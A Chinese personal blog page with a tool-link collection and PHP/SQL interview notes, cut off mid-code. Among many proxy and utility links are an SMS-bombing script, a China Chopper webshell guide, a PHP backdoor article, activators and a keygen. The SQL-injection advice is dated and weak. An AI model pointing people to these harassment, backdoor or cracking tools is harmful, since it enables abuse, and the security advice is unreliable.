<h3 id="Deepin-系统科学上网-PAC-自动代理"><a href="#Deepin-系统科学上网-PAC-自动代理" class="headerlink" title="Deepin 系统科学上网 PAC 自动代理"></a>Deepin 系统科学上网 PAC 自动代理</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">pip3 install genpac</span><br><span class="line">genpac --pac-compress --pac-proxy <span class="string">'SOCKS5 127.0.0.1:1080'</span> --format pac  -o ~<span class="regexp">/auto.pac</span></span><br><span class="line"><span class="regexp">设置系统代理，设置 &gt; 网络 &gt; 系统代理 &gt; 自动</span></span><br><span class="line"><span class="regexp"></span></span><br><span class="line"><span class="regexp">配置 URL：</span></span><br><span class="line"><span class="regexp"></span></span><br><span class="line"><span class="regexp">file:/</span><span class="comment">//home/登录用户名/auto.pac</span></span><br><span class="line">https:<span class="comment">//gleehub.com/tool/deepin-xi-tong-ke-xue-shang-wang-pac-zi-dong-dai-li.html</span></span><br></pre></td></tr></table></figure>
<h3 id="环境变量"><a href="#环境变量" class="headerlink" title="环境变量"></a>环境变量</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="keyword">export</span> GOPROXY=https:<span class="comment">//goproxy.cn</span></span><br><span class="line">$ echo <span class="string">"export GOPROXY=https://goproxy.cn"</span> &gt;&gt; ~<span class="regexp">/.profile &amp;&amp; source ~/</span>.profile</span><br><span class="line">打开你的 PowerShell 并执行：</span><br><span class="line"></span><br><span class="line">C:\&gt; $env:GOPROXY = <span class="string">"https://goproxy.cn"</span></span><br><span class="line">或者</span><br><span class="line"></span><br><span class="line"><span class="number">1.</span> 打开“开始”并搜索“env”</span><br><span class="line"><span class="number">2.</span> 选择“编辑系统环境变量”</span><br><span class="line"><span class="number">3.</span> 点击“环境变量…”按钮</span><br><span class="line"><span class="number">4.</span> 在“&lt;你的用户名&gt; 的用户变量”章节下（上半部分）</span><br><span class="line"><span class="number">5.</span> 点击“新建…”按钮</span><br><span class="line"><span class="number">6.</span> 选择“变量名”输入框并输入“GOPROXY”</span><br><span class="line"><span class="number">7.</span> 选择“变量值”输入框并输入“https:<span class="comment">//goproxy.cn”</span></span><br><span class="line"><span class="number">8.</span> 点击“确定”按钮</span><br><span class="line"></span><br><span class="line">https:<span class="comment">//learnku.com/articles/37926</span></span><br></pre></td></tr></table></figure>
<p>豆丁网文档复制抓取工具 <a href="https://www.docin365.com/" target="_blank" rel="noopener">https://www.docin365.com/</a> </p>
<p>上学吧365答案查询工具 <a href="https://www.shangxueba365.com/" target="_blank" rel="noopener">https://www.shangxueba365.com/</a></p>
<p>为什么要自己搭建翻墙服务？ <a href="https://github.com/xiaoming2028/kexueshangwang/wiki" target="_blank" rel="noopener">https://github.com/xiaoming2028/kexueshangwang/wiki</a></p>
<p><a href="https://workers.cloudflare.com/" target="_blank" rel="noopener">https://workers.cloudflare.com/</a> <a href="https://etherdream.github.io/jsproxy/" target="_blank" rel="noopener">https://etherdream.github.io/jsproxy/</a><br>Google代理 <a href="https://noisy-tooth-2ee5.susheng.workers.dev/" target="_blank" rel="noopener">https://noisy-tooth-2ee5.susheng.workers.dev/</a><br>  摸鱼网站整理<a href="https://withpinbox.com/explore/collection/266629" target="_blank" rel="noopener">https://withpinbox.com/explore/collection/266629</a><br> 短信轰炸机脚本TBomb <a href="https://github.com/TheSpeedX/TBomb" target="_blank" rel="noopener">https://github.com/TheSpeedX/TBomb</a></p>
<p>在线模拟vim <a href="https://www.openvim.com/" target="_blank" rel="noopener">https://www.openvim.com/</a></p>
<p>免费的定时任务托管 clock.sh  <a href="https://github.com/clock-sh/ticket" target="_blank" rel="noopener">https://github.com/clock-sh/ticket</a> <a href="https://github.com/yehux/Coot" target="_blank" rel="noopener">https://github.com/yehux/Coot</a></p>
<p><a href="http://fonts.safe.360.cn/360" target="_blank" rel="noopener">http://fonts.safe.360.cn/360</a> 有一个查询字体版权的网站。</p>
<p>妹子图站技术方案<a href="https://sssis.me/post/meizitu.html" target="_blank" rel="noopener">https://sssis.me/post/meizitu.html</a> <a href="https://qingbuyaohaixiu.com/" target="_blank" rel="noopener">https://qingbuyaohaixiu.com/</a></p>
<p>各种App、小程序、网站的请求签名算法。 现已有：自如、小红书、蛋壳公寓 <a href="https://github.com/gadfly0x/signature_algorithm" target="_blank" rel="noopener">https://github.com/gadfly0x/signature_algorithm</a> 逆向App用的都是iOS</p>
<p>某JS最牛加密脱壳解密破解去混淆工具<a href="https://www.qs5.org/Post/673.html" target="_blank" rel="noopener">https://www.qs5.org/Post/673.html</a> <a href="https://cn.v2ex.com/t/596794#reply28" target="_blank" rel="noopener">https://cn.v2ex.com/t/596794#reply28</a></p>
<p><a href="http://www.sojson.com" target="_blank" rel="noopener">www.sojson.com</a> 网站高级JS加密破解 <a href="https://github.com/insoxin/sojson.v5" target="_blank" rel="noopener">https://github.com/insoxin/sojson.v5</a> <a href="https://obfuscator.io/" target="_blank" rel="noopener">https://obfuscator.io/</a><br><a href="https://github.com/javascript-obfuscator/javascript-obfuscator/" target="_blank" rel="noopener">https://github.com/javascript-obfuscator/javascript-obfuscator/</a> <a href="https://cn.v2ex.com/t/597018#reply10" target="_blank" rel="noopener">https://cn.v2ex.com/t/597018#reply10</a></p>
<p>翻墙<a href="https://github.com/txthinking/brook" target="_blank" rel="noopener">https://github.com/txthinking/brook</a>  jsproxy  可以一键脚本部署的呀, 前端页面可以放在 github pages 上面. 也提供了 cloudflare workers <a href="https://workers.cloudflare.com/" target="_blank" rel="noopener">https://workers.cloudflare.com/</a>  的部署方法, 比如说这个是我搭的 <a href="https://proxy.jimmytinsley.workers.dev/" target="_blank" rel="noopener">https://proxy.jimmytinsley.workers.dev/</a><br><a href="https://github.com/EtherDream/jsproxy/tree/master/cf-worker" target="_blank" rel="noopener">https://github.com/EtherDream/jsproxy/tree/master/cf-worker</a><br><a href="https://github.com/aploium/zmirror" target="_blank" rel="noopener">https://github.com/aploium/zmirror</a><br><a href="https://github.com/aploium/zmirror-onekey" target="_blank" rel="noopener">https://github.com/aploium/zmirror-onekey</a><br>一键部署脚本 Google镜像<a href="https://g.zmirrordemo.com/" target="_blank" rel="noopener">https://g.zmirrordemo.com/</a><br><a href="https://fetch.ffeii.workers.dev/https://google.com" target="_blank" rel="noopener">https://fetch.ffeii.workers.dev/https://google.com</a><br><a href="https://github.com/You2php/you2php" target="_blank" rel="noopener">https://github.com/You2php/you2php</a><br><a href="https://noisy-tooth-2ee5.susheng.workers.dev/-----https://google.com" target="_blank" rel="noopener">https://noisy-tooth-2ee5.susheng.workers.dev/-----https://google.com</a><br><a href="https://proxy.zme.ink/www.google.com/search" target="_blank" rel="noopener">https://proxy.zme.ink/www.google.com/search</a><br>一键部署Google等镜像 – zmirror<a href="https://uixsj.cn/1706.html" target="_blank" rel="noopener">https://uixsj.cn/1706.html</a><br>利用 cloudflare workers 加速<br>wget <a href="https://fetch.ffeii.workers.dev/https://www.openssl.org/source/openssl-1.1.1c.tar.gz" target="_blank" rel="noopener">https://fetch.ffeii.workers.dev/https://www.openssl.org/source/openssl-1.1.1c.tar.gz</a><br>HTTP请求代理，CORS跨域请求，HTTPS支持<a href="https://proxy.netnr.com/" target="_blank" rel="noopener">https://proxy.netnr.com/</a>  <a href="https://proxy.zme.ink/www.google.com" target="_blank" rel="noopener">https://proxy.zme.ink/www.google.com</a><br><a href="https://github.com/Rob--W/cors-anywhere" target="_blank" rel="noopener">https://github.com/Rob--W/cors-anywhere</a><br><a href="https://cors-anywhere.herokuapp.com/https://google.com" target="_blank" rel="noopener">https://cors-anywhere.herokuapp.com/https://google.com</a><br>VPN翻墙教程 <a href="https://mp.weixin.qq.com/s/tE_XRsQOCutfGFjrx3UHrg" target="_blank" rel="noopener">https://mp.weixin.qq.com/s/tE_XRsQOCutfGFjrx3UHrg</a><br>项目主页： <a href="https://you2php.github.io" target="_blank" rel="noopener">https://you2php.github.io</a> （需要梯子）<br>项目地址： <a href="https://github.com/You2php" target="_blank" rel="noopener">https://github.com/You2php</a> <a href="https://sphard2.github.io/gfw/free/ssr.html" target="_blank" rel="noopener">https://sphard2.github.io/gfw/free/ssr.html</a><br>一个简单的PHP Web代理<a href="https://github.com/joshdick/miniProxy" target="_blank" rel="noopener">https://github.com/joshdick/miniProxy</a><br>为什么要自己搭建翻墙服务？ <a href="https://github.com/xiaoming2028/kexueshangwang/wiki" target="_blank" rel="noopener">https://github.com/xiaoming2028/kexueshangwang/wiki</a><br><a href="https://github.com/EtherDream/jsproxy" target="_blank" rel="noopener">翻墙</a></p>
<p><a href="https://codidate.com/code/sandbox" target="_blank" rel="noopener">在线技术面试平台showmebug</a></p>
<p><a href="https://latexsearch.arnavbansal.dev/" target="_blank" rel="noopener">LaTeX 搜索引擎</a></p>
<p><a href="https://github.com/dxcweb/watermark" target="_blank" rel="noopener"> canvas图片水印</a></p>
<p><a href="https://github.com/selierlin/Share-SSR-V2ray" target="_blank" rel="noopener">SS/SSR/V2ray 免费google分享节点账号信息网站</a></p>
<p><a href="https://github.com/zhaipro/easy12306" target="_blank" rel="noopener">12306识别验证码http://shell.teachx.cn:12306/</a></p>
<p><a href="https://bpteach.github.io/New-Media-Toolbox/" target="_blank" rel="noopener">新媒体工具箱</a></p>
<p><a href="https://only-free.github.io/2018/12/24/gayhub-shang-de-gong-ju-ji-he/" target="_blank" rel="noopener">github上的工具集合子域名枚举扫描器或爆破工具</a></p>
<p><a href="https://csuwangj.github.io/CTF%E8%BD%BB%E5%B7%A5%E5%85%B7%E4%B8%AA%E4%BA%BA%E9%9B%86%E5%90%88/" target="_blank" rel="noopener">ctf工具 </a></p>
<p><a href="http://tool.yovisun.com/scihub/" target="_blank" rel="noopener">工具集SCI-Hub科研论文网址 google镜像</a></p>
<p><a href="http://factordb.com" target="_blank" rel="noopener">在线分解质因子数学题</a></p>
<p><a href="https://tiansh.github.io/us-weibo/Weibo_Supervisor_Blacklist_Tool/" target="_blank" rel="noopener">微博监督员批量拉黑工具</a></p>
<p><a href="https://fly8wo.github.io/2018/08/24/%E4%B8%AD%E5%9B%BD%E8%8F%9C%E5%88%80%E4%B9%8B%E7%B1%BB%E8%8F%9C%E5%88%80%E5%B7%A5%E5%85%B7%E7%9A%84%E4%BD%BF%E7%94%A8/" target="_blank" rel="noopener">中国菜刀之类菜刀工具的使用</a></p>
<p><a href="http://einverne.github.io/post/2019/01/html-to-pdf.html" target="_blank" rel="noopener">html 转 pdf 命令行工具 wkhtmltopdf </a></p>
<p><a href="https://github.com/XX-net/XX-Net/wiki" target="_blank" rel="noopener">翻墙工具google</a></p>
<p><a href="http://jartto.wang/2019/04/15/amusing-ppt/" target="_blank" rel="noopener">酷炫的 HTML5 网页 PPT</a></p>
<p><a href="https://post.zz173.com/detail/hfu17Yn_YpMY9TlVNTqv8w.html" target="_blank" rel="noopener">一个有意思的解密</a></p>
<p><a href="https://me.jinchuang.org/archives/177.html" target="_blank" rel="noopener">好用的office/windows激活工具</a></p>
<p><a href="http://nullpointer.pw/Charles%E6%8A%93%E5%8C%85%E5%AE%9E%E6%88%98%E8%AF%A6%E8%A7%A3.html" target="_blank" rel="noopener">Charles抓包修改APP数据</a></p>
<p><a href="https://github.com/bartaz/impress.js/" target="_blank" rel="noopener">impress.js制作ppt www.caiqianyu.com/impress/impress.html#/step-14</a></p>
<p><a href="https://github.com/jc91715/oc-plugin-music" target="_blank" rel="noopener">听全网音乐</a></p>
<p><a href="https://learnku.com/articles/30329" target="_blank" rel="noopener">持续更新免费的 API github.com/fangzesheng/free-api</a></p>
<p><a href="https://shimo.im/docs/hLgSj9sYasQkrvO1/read" target="_blank" rel="noopener">语音快速转文字www.luyinla.com/luyinla.html</a></p>
<p><a href="https://gugeji.com/" target="_blank" rel="noopener">Google代理</a></p>
<p><a href="https://elemefe.github.io/sip/charles/ctrl-req.html" target="_blank" rel="noopener">修改Charles网络请求</a></p>
<p><a href="https://github.com/ctfs/write-ups-2017" target="_blank" rel="noopener">write-ups-2017</a></p>
<p><a href="https://axutongxue.github.io/2019/01/27/%E7%9C%8B%E5%AE%8C%E8%BF%99%E7%AF%87%E6%95%99%E7%A8%8B%EF%BC%8C%E5%86%8D%E6%B2%A1%E6%9C%89%E4%B8%8B%E8%BD%BD%E4%B8%8D%E4%BA%86%E7%9A%84%E7%BD%91%E9%A1%B5%E8%A7%86%E9%A2%91/" target="_blank" rel="noopener">视频下载</a></p>
<p><a href="https://github.com/cnlh/nps" target="_blank" rel="noopener">功能强大的内网穿透代理服务器</a></p>
<p><a href="https://phithon.gitbooks.io/conote/content/" target="_blank" rel="noopener">渗透测试</a></p>
<p><a href="https://www.itcodemonkey.com/article/4956.html" target="_blank" rel="noopener">奇淫异巧之 PHP 后门</a></p>
<p><a href="http://www.jeyzhang.com/how-to-install-and-setup-shadowsocks-client-in-different-os.html" target="_blank" rel="noopener">各种系统下Shadowsocks客户端的安装与配置</a></p>
<p><a href="https://vien.tech/article/137" target="_blank" rel="noopener">免费ss、ssr账号分享，Shadowsocks免费账号</a></p>
<p><a href="https://monitor.firefox.com/" target="_blank" rel="noopener"> 查询自己邮箱密码是否泄漏</a></p>
<p><a href="https://learnku.com/articles/29171" target="_blank" rel="noopener">带着小白了解下比特币区块链技术</a></p>
<p><a href="http://kyon945.ys168.com/" target="_blank" rel="noopener">精选资源</a></p>
<p><a href="https://send.firefox.com/" target="_blank" rel="noopener">私密的文件分享</a></p>
<p><a href="https://axutongxue.github.io/2019/04/08/%E4%BB%8E%E6%89%8B%E6%9C%BA%E5%88%B0%E7%94%B5%E8%84%91%EF%BC%8C%E7%A9%B6%E7%AB%9F%E5%93%AA%E6%AC%BEOCR%E5%9B%BE%E7%89%87%E6%96%87%E5%AD%97%E8%AF%86%E5%88%AB%E8%BD%AF%E4%BB%B6%E6%9C%80%E5%A5%BD%E7%94%A8%EF%BC%9F/" target="_blank" rel="noopener">OCR图片文字识别</a></p>
<p><a href="https://cowtransfer.com/" target="_blank" rel="noopener">文件中转http://tmp.link/</a></p>
<p><a href="https://michael728.github.io/tools/" target="_blank" rel="noopener">分享发现的好资源，好工具</a></p>
<p><a href="http://chromecj.com/" target="_blank" rel="noopener">chrome插件下载https://www.chromefor.com/</a></p>
<p><a href="http://md.aclickall.com/" target="_blank" rel="noopener">知乎markdown</a></p>
<p><a href="https://michael728.github.io/2019/04/27/tools-ss-vps/" target="_blank" rel="noopener">ss翻墙</a></p>
<p><a href="https://michael728.github.io/2015/11/28/tools-list-win/" target="_blank" rel="noopener">Windows上那些值得推荐的良心软件</a></p>
<p><a href="https://mp.weixin.qq.com/s/EtoNa6o0GDuOz8o1mOlK7w" target="_blank" rel="noopener">黑科技工具</a></p>
<p><a href="https://www.freedownloadmanager.org/zh/" target="_blank" rel="noopener">下载工具fdm</a></p>
<p><a href="http://yurl.sinaapp.com/crx.php" target="_blank" rel="noopener">Chrome商店Crx离线安装包下载</a></p>
<p><a href="https://finthon.com/google-fan-qiang/" target="_blank" rel="noopener">通过谷歌云（GCP）免费科学上网一年https://www.wmsoho.com/google-cloud-platform-ssr-bbr-tutorial/</a></p>
<p><a href="https://rss.anyant.com/" target="_blank" rel="noopener">订阅网站更新</a></p>
<p><a href="http://vidlery.com/" target="_blank" rel="noopener">动画短片素材网站-Vidlery</a></p>
<p><a href="http://111jx.xyz/?url=" target="_blank" rel="noopener">vip视频免费看</a></p>
<p><a href="https://phpartisan.cn/news/121.html" target="_blank" rel="noopener">Frp实现内网穿透</a></p>
<p><a href="https://hacpai.com/article/1517986403240" target="_blank" rel="noopener">vip无广告电影 黑客派</a></p>
<p><a href="https://chvin.github.io/react-tetris/" target="_blank" rel="noopener">在线版俄罗斯方块</a></p>
<p><a href="https://github.com/shinima/battle-city" target="_blank" rel="noopener">GitHub 上开源的这个坦克大战小游戏https://battle-city.js.org/#/</a></p>
<p><a href="https://github.com/sherlonWang/logodiy" target="_blank" rel="noopener">在线 Logo 制作工具</a></p>
<p><a href="http://it2048.cn/" target="_blank" rel="noopener">导航网站</a></p>
<p><a href="https://michael728.github.io/2019/04/27/tools-ss-vps/" target="_blank" rel="noopener">shadowsocks+vps+mac翻墙Vultr</a></p>
<p><a href="https://www.biantube.com/watch?v=5IuJMGjMkKU&amp;from=timeline" target="_blank" rel="noopener">搜索YouTube视频</a></p>
<p><a href="https://github.com/521xueweihan/git-tips" target="_blank" rel="noopener">Git的奇技淫巧</a></p>
<p><a href="https://qishaoxuan.github.io/css_tricks/" target="_blank" rel="noopener">css奇技淫巧</a></p>
<p><a href="https://github.com/DoubleLabyrinth/Xmanager-keygen" target="_blank" rel="noopener">Xmanager Power Suit 安装</a></p>
<p>闲鱼搜索 <a href="https://s.2.taobao.com/list/list.htm?q=%E5%85%B3%E9%94%AE%E8%AF%8D&amp;search_type=item&amp;app=shopsearch" target="_blank" rel="noopener">https://s.2.taobao.com/list/list.htm?q=%E5%85%B3%E9%94%AE%E8%AF%8D&amp;search_type=item&amp;app=shopsearch</a></p>
<p>翻译工具 <a href="https://www.ltool.net/japanese-full-jenkaku-to-half-hankaku-converter-in-simplified-chinese.php" target="_blank" rel="noopener">https://www.ltool.net/japanese-full-jenkaku-to-half-hankaku-converter-in-simplified-chinese.php</a></p>
<p>幕布精选」投稿指南 <a href="https://mubu.com/doc/rBSPqyZmqp" target="_blank" rel="noopener">https://mubu.com/doc/rBSPqyZmqp</a></p>
<p><a href="https://learnku.com/articles/36220" target="_blank" rel="noopener">心智阅读系列：如何主动学习</a></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/02/28/面试资料收集/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/2019/02/28/面试资料收集/" itemprop="url">面试资料收集</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-02-28T19:51:19+08:00">
                2019-02-28
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  5.5k 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  22 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <p>###鉴别出那瓶水有毒<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">有<span class="number">1000</span>瓶水，其中有一瓶有毒，小白鼠只要尝一点带毒的水<span class="number">24</span>小时后就会死亡，至少要多少只小白鼠才能在<span class="number">24</span>小时时鉴别出那瓶水有毒</span><br><span class="line">链接：https:<span class="comment">//www.nowcoder.com/questionTerminal/84726a200b4a4a0d95b9565b4c6eb216</span></span><br><span class="line">来源：牛客网</span><br><span class="line"></span><br><span class="line">每个老鼠只有死或活<span class="number">2</span>种状态，因此每个老鼠可以看作一个bit，取<span class="number">0</span>或<span class="number">1</span></span><br><span class="line">N个老鼠可以看作N个bit，可以表达<span class="number">2</span>^N种状态（其中第i个状态代表第i个瓶子有毒）</span><br><span class="line">例如：当N＝<span class="number">2</span>时，可以表达<span class="number">4</span>种状态</span><br><span class="line"><span class="number">0</span>，<span class="number">0</span>（ 一号老鼠活，二号老鼠活）</span><br><span class="line"><span class="number">0</span>，<span class="number">1</span>（ 一号老鼠活，二号老鼠死）</span><br><span class="line"><span class="number">1</span>，<span class="number">0</span>（ 一号老鼠死，二号老鼠活）</span><br><span class="line"><span class="number">1</span>，<span class="number">1</span>（ 一号老鼠死，二号老鼠死）</span><br><span class="line">具体来说，有A、B、C、D这<span class="number">4</span>个瓶子，一号老鼠喝A和B， 二号老鼠喝B和C</span><br><span class="line">如果 <span class="number">0</span>，<span class="number">0</span> （ 一号老鼠活，二号老鼠活），说明是D有毒，第<span class="number">0</span>个状态代表第<span class="number">4</span>个瓶子有毒</span><br><span class="line">如果 <span class="number">0</span>，<span class="number">1</span> （ 一号老鼠活，二号老鼠死） ，说明是C有毒 ，第<span class="number">1</span>个状态代表第<span class="number">3</span>个瓶子有毒</span><br><span class="line">如果 <span class="number">1</span>，<span class="number">0</span> （ 一号老鼠死，二号老鼠活） ，说明是A有毒 ，第<span class="number">2</span>个状态代表第<span class="number">1</span>个瓶子有毒</span><br><span class="line">如果 <span class="number">1</span>，<span class="number">1</span> （ 一号老鼠死，二号老鼠死） ，说明是B有毒 ，第<span class="number">3</span>个状态代表第<span class="number">2</span>个瓶子有毒</span><br><span class="line">可以想象成用<span class="number">2</span>进制来表示<span class="number">1000</span>个数最少需要多少位</span><br></pre></td></tr></table></figure></p>
<h3 id="Cookie-禁用了，Session-还能用吗"><a href="#Cookie-禁用了，Session-还能用吗" class="headerlink" title="Cookie 禁用了，Session 还能用吗"></a>Cookie 禁用了，Session 还能用吗</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">你第一次访问网站时，</span><br><span class="line">https:<span class="comment">//learnku.com/articles/25858 </span></span><br><span class="line">服务端脚本中开启了Sessionsession_start();，</span><br><span class="line"></span><br><span class="line">服务器会生成一个不重复的 SESSIONID 的文件session_id();，比如在/<span class="keyword">var</span>/lib/php/session目录</span><br><span class="line"></span><br><span class="line">并将返回(Response)如下的HTTP头 <span class="built_in">Set</span>-Cookie:PHPSESSIONID=xxxxxxx</span><br><span class="line"></span><br><span class="line">客户端接收到<span class="built_in">Set</span>-Cookie的头，将PHPSESSIONID写入cookie</span><br><span class="line"></span><br><span class="line">当你第二次访问页面时，所有Cookie会附带的请求头(Request)发送给服务器端</span><br><span class="line"></span><br><span class="line">服务器识别PHPSESSIONID这个cookie，然后去session目录查找对应session文件，</span><br><span class="line"></span><br><span class="line">找到这个session文件后，检查是否过期，如果没有过期，去读取Session文件中的配置；如果已经过期，清空其中的配置</span><br><span class="line">如果一个Cookie都没接收到，基本上可以预判客户端禁用了Cookie，那将session_id附带在每个网址后面(包括POST)，</span><br><span class="line">比如：</span><br><span class="line"></span><br><span class="line">GET http:<span class="comment">//www.xx.com/index.php?session_id=xxxxx</span></span><br><span class="line">POST http:<span class="comment">//www.xx.com/post.php?session_id=xxxxx</span></span><br><span class="line">然后在每个页面的开头使用session_id($_GET[<span class="string">'session_id'</span>])，来强制指定当前session_id</span><br><span class="line">所以Laravel等框架中，内部实现了Session的所有逻辑，并将PHPSESSIONID设置为httponly并加密，这样，前端JS就无法读取和修改这些敏感信息，降低了被盗用的风险。</span><br></pre></td></tr></table></figure>
<h3 id="如何进行防-SQL-注入"><a href="#如何进行防-SQL-注入" class="headerlink" title="如何进行防 SQL 注入"></a>如何进行防 SQL 注入</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span> 表单尽量用 post 提交,核心用户验证都走 post,避开 get容易暴露客户数据</span><br><span class="line"><span class="number">2</span> 使用HTTP_REFERER 检查源文件是否来自本系统</span><br><span class="line"><span class="number">3</span> 开启addslashes在特殊符号前加\</span><br><span class="line"><span class="number">4</span> 使用htmlspecialchars对字符串转实体</span><br><span class="line"><span class="number">5</span> 用户授权登录</span><br><span class="line"><span class="number">6</span> 使用PDO</span><br></pre></td></tr></table></figure>
<h3 id="大流量高并发量网站的解决方案"><a href="#大流量高并发量网站的解决方案" class="headerlink" title="大流量高并发量网站的解决方案"></a>大流量高并发量网站的解决方案</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">对比现实中饭店一下子同一个时间段来吃饭 比方中午https:<span class="comment">//learnku.com/articles/25886</span></span><br><span class="line"><span class="number">1</span> 把这个店面面积扩大点，增加同时吃饭人数</span><br><span class="line">   服务器优化：我们把apache服务器只支持（<span class="number">3000</span>并发）可以换成nginx服务器（<span class="number">3</span>w并发）</span><br><span class="line"><span class="number">2</span> 多找点服务员和厨师嘛  </span><br><span class="line">   服务器优化：修改apache，nginx的默认配置，把其中的并发数调到最高嘛</span><br><span class="line"><span class="number">3</span> 多开一些店 连锁店</span><br><span class="line">   服务器优化：多增加几台服务器同时对客户提供网络服务 lvs nginx 做负载均衡</span><br><span class="line"><span class="number">4</span> 限时客户在我们店吃饭的时间 不能让他们吃完还打牌把</span><br><span class="line">   服务器优化：减少客户在服务器上的连接断开时间 比方mysql 的连接断开时间 wait_timeout这个参数最多的连接时间 不能让客户恶意一直连着</span><br><span class="line"><span class="number">5</span> 给厨师培训 增加他的上菜时间</span><br><span class="line">   那就要给php代码做优化</span><br><span class="line"><span class="number">6</span> 让厨师叫手下把菜提前做好 放到冰箱里面</span><br><span class="line">   redis 缓存 文件缓存</span><br></pre></td></tr></table></figure>
<h3 id="sql分组"><a href="#sql分组" class="headerlink" title="sql分组"></a>sql分组</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>) 算出每个班级中的学生，按照成绩降序排序;https:<span class="comment">//learnku.com/articles/25903#topnav</span></span><br><span class="line">select name,<span class="class"><span class="keyword">class</span>,<span class="title">score</span> <span class="title">from</span> <span class="title">student</span> <span class="title">order</span> <span class="title">by</span> <span class="title">class</span>,<span class="title">score</span> <span class="title">desc</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="number">2</span>) 查出每个班的及格人数和不及格人数，格式为:<span class="class"><span class="keyword">class</span>、及格人数、不及格人数</span>;</span><br><span class="line"></span><br><span class="line">SELECT <span class="class"><span class="keyword">class</span>,</span></span><br><span class="line"><span class="class"><span class="title">SUM</span>(<span class="title">CASE</span> <span class="title">WHEN</span> <span class="title">score</span>&gt;</span>=<span class="number">60</span> THEN <span class="number">1</span> ELSE <span class="number">0</span> END),</span><br><span class="line">SUM(CASE WHEN score&lt;<span class="number">60</span> THEN <span class="number">1</span> ELSE <span class="number">0</span> END)</span><br><span class="line">FROM tb1 GROUP BY <span class="class"><span class="keyword">class</span></span></span><br><span class="line"><span class="class">这边主要先分组 在聚合在加入判断条件</span></span><br><span class="line"><span class="class"></span></span><br><span class="line">3) 用 PHP 写入连接数据库("localhost","msuser","mspass")、执行以上 SQL、显示结果、 判断错误、关闭数据库的过程</span><br><span class="line">$conn=mysql_connect(‘localhost’,<span class="string">'msuser ’,’mspass′);//链接数据库</span></span><br><span class="line"><span class="string">Mysql_select_db(‘test’);</span></span><br><span class="line"><span 